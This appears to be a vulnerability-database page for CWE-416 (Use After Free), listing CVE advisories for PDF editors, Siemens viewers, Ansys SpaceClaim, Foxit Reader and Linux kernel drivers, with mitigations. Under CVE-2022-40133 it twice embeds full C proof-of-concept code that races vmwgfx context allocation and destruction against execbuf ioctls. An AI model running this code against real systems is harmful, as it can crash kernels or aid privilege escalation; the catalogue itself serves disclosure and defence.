Common Weakness Enumeration
CWE-416
AllowedUse After Free
Abstraction: Variant · Status: Stable
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
9854 vulnerabilities reference this CWE, most recent first.
CVE-2022-42408 (GCVE-0-2022-42408)
Vulnerability from cvelistv5 – Published: 2023-01-26 00:00 – Updated: 2025-03-31 13:53
VLAI
EPSS
VEX
Summary
This vulnerability allows remote attackers to disclose sensitive information on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of EMF files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-18543.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-416 - Use After Free
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| PDF-XChange | PDF-XChange Editor |
Affected:
9.4.363.0
|
Credits
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CVE-2022-42374 (GCVE-0-2022-42374)
Vulnerability from cvelistv5 – Published: 2023-01-26 00:00 – Updated: 2025-04-01 13:45
VLAI
EPSS
VEX
Summary
This vulnerability allows remote attackers to execute arbitrary code on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of U3D files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-18403.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-416 - Use After Free
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| PDF-XChange | PDF-XChange Editor |
Affected:
9.4.362.0
|
Credits
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CVE-2022-41858 (GCVE-0-2022-41858)
Vulnerability from cvelistv5 – Published: 2023-01-17 00:00 – Updated: 2025-04-07 16:46
VLAI
EPSS
VEX
Summary
A flaw was found in the Linux kernel. A NULL pointer dereference may occur while a slip driver is in progress to detach in sl_tx_timeout in drivers/net/slip/slip.c. This issue could allow an attacker to crash the system or leak internal kernel information.
Severity
7.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Linux kernel |
Affected:
unknown
|
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CVE-2022-41663 (GCVE-0-2022-41663)
Vulnerability from cvelistv5 – Published: 2022-11-08 00:00 – Updated: 2025-04-21 13:46
VLAI
EPSS
VEX
Summary
A vulnerability has been identified in JT2Go (All versions < V14.1.0.4), Teamcenter Visualization V13.2 (All versions < V13.2.0.12), Teamcenter Visualization V13.3 (All versions < V13.3.0.7), Teamcenter Visualization V14.0 (All versions < V14.0.0.3), Teamcenter Visualization V14.1 (All versions < V14.1.0.4). The affected applications contain a use-after-free vulnerability that could be triggered while parsing specially crafted CGM files. An attacker could leverage this vulnerability to execute code in the context of the current process.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-416 - Use After Free
Assigner
References
1 reference
Impacted products
5 products
| Vendor | Product | Version | |
|---|---|---|---|
| Siemens | JT2Go |
Affected:
All versions < V14.1.0.4
|
|
| Siemens | Teamcenter Visualization V13.2 |
Affected:
All versions < V13.2.0.12
|
|
| Siemens | Teamcenter Visualization V13.3 |
Affected:
All versions < V13.3.0.7
|
|
| Siemens | Teamcenter Visualization V14.0 |
Affected:
All versions < V14.0.0.3
|
|
| Siemens | Teamcenter Visualization V14.1 |
Affected:
All versions < V14.1.0.4
|
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CVE-2022-41285 (GCVE-0-2022-41285)
Vulnerability from cvelistv5 – Published: 2022-12-13 00:00 – Updated: 2025-04-21 13:44
VLAI
EPSS
VEX
Summary
A vulnerability has been identified in JT2Go (All versions < V14.1.0.6), Teamcenter Visualization V13.2 (All versions < V13.2.0.12), Teamcenter Visualization V13.3 (All versions < V13.3.0.8), Teamcenter Visualization V14.0 (All versions < V14.0.0.4), Teamcenter Visualization V14.1 (All versions < V14.1.0.6). The CGM_NIST_Loader.dll contains a use-after-free vulnerability that could be triggered while parsing specially crafted CGM files. An attacker could leverage this vulnerability to execute code in the context of the current process.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-416 - Use After Free
Assigner
References
1 reference
Impacted products
5 products
| Vendor | Product | Version | |
|---|---|---|---|
| Siemens | JT2Go |
Affected:
All versions < V14.1.0.6
|
|
| Siemens | Teamcenter Visualization V13.2 |
Affected:
All versions < V13.2.0.12
|
|
| Siemens | Teamcenter Visualization V13.3 |
Affected:
All versions < V13.3.0.8
|
|
| Siemens | Teamcenter Visualization V14.0 |
Affected:
All versions < V14.0.0.4
|
|
| Siemens | Teamcenter Visualization V14.1 |
Affected:
All versions < V14.1.0.6
|
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CVE-2022-40639 (GCVE-0-2022-40639)
Vulnerability from cvelistv5 – Published: 2022-09-15 15:26 – Updated: 2024-08-03 12:21
VLAI
EPSS
VEX
Summary
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ansys SpaceClaim 2022 R1. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of SKP files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-17207.
Severity
7.8 (High)
CWE
- CWE-416 - Use After Free
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.zerodayinitiative.com/advisories/ZDI-… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Ansys | SpaceClaim |
Affected:
2022 R1
|
Credits
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CVE-2022-40638 (GCVE-0-2022-40638)
Vulnerability from cvelistv5 – Published: 2022-09-15 15:26 – Updated: 2024-08-03 12:21
VLAI
EPSS
VEX
Summary
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ansys SpaceClaim 2022 R1. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of X_B files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-17102.
Severity
7.8 (High)
CWE
- CWE-416 - Use After Free
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.zerodayinitiative.com/advisories/ZDI-… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Ansys | SpaceClaim |
Affected:
2022 R1
|
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CVE-2022-40637 (GCVE-0-2022-40637)
Vulnerability from cvelistv5 – Published: 2022-09-15 15:26 – Updated: 2024-08-03 12:21
VLAI
EPSS
VEX
Summary
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ansys SpaceClaim 2022 R1. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of JT files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-17045.
Severity
CWE
- CWE-416 - Use After Free
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.zerodayinitiative.com/advisories/ZDI-… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Ansys | SpaceClaim |
Affected:
2022 R1
|
Credits
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CVE-2022-40133 (GCVE-0-2022-40133)
Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2024-09-17 03:49
VLAI
EPSS
VEX
Title
There is an UAF vulnerability in vmwgfx driver
Summary
A use-after-free(UAF) vulnerability was found in function 'vmw_execbuf_tie_context' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
CWE
- CWE-416 - Use After Free
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://bugzilla.openanolis.cn/show_bug.cgi?id=2075 | x_refsource_MISC |
Impacted products
Date Public
2022-09-06 00:00
Credits
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"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\nint cid=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid,int cid){ \nint cmd[0x1000]={0};\ncmd[0]=1148;\ncmd[1]=0x50;\ncmd[2]=0;\ncmd[3]=1;\ncmd[4]=sid;\ncmd[5]=10;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=cid;\n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"poc failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\n\n\nvoid destory_context(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x40086448, \u0026arg) == -1)\n {\n printf(\"destory_surface failed: %s\\n\", strerror(errno));\n return -1;\n } \n}\nvoid thread1(){\nwhile(1){\ncid = alloc_context(); \ndestory_context(cid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(sid,cid); \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n \n\ninit();\nsid=create_surface();\n\n\n if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n perror(\"thread_create\");\n }\n\n\t\n if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n perror(\"thread_create\");\n }\n \n while(1){\n sleep(3);\n \n }\n\n\n}"
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"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\nint cid=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid,int cid){ \nint cmd[0x1000]={0};\ncmd[0]=1148;\ncmd[1]=0x50;\ncmd[2]=0;\ncmd[3]=1;\ncmd[4]=sid;\ncmd[5]=10;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=cid;\n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"poc failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\n\n\nvoid destory_context(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x40086448, \u0026arg) == -1)\n {\n printf(\"destory_surface failed: %s\\n\", strerror(errno));\n return -1;\n } \n}\nvoid thread1(){\nwhile(1){\ncid = alloc_context(); \ndestory_context(cid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(sid,cid); \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n \n\ninit();\nsid=create_surface();\n\n\n if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n perror(\"thread_create\");\n }\n\n\t\n if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n perror(\"thread_create\");\n }\n \n while(1){\n sleep(3);\n \n }\n\n\n}"
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CVE-2022-40129 (GCVE-0-2022-40129)
Vulnerability from cvelistv5 – Published: 2022-11-21 16:05 – Updated: 2025-04-15 18:39
VLAI
EPSS
VEX
Summary
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 12.0.1.12430. A specially-crafted PDF document can trigger the reuse of previously freed memory via misusing Optional Content Group API, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.
Severity
8.8 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-416 - Use After Free
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Foxit | Foxit Reader |
Affected:
12.0.1.12430
|
Date Public
2022-11-10 00:00
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Mitigation
Architecture and Design
Strategy: Language Selection
Choose a language that provides automatic memory management.
Mitigation
Implementation
Strategy: Attack Surface Reduction
When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.
No CAPEC attack patterns related to this CWE.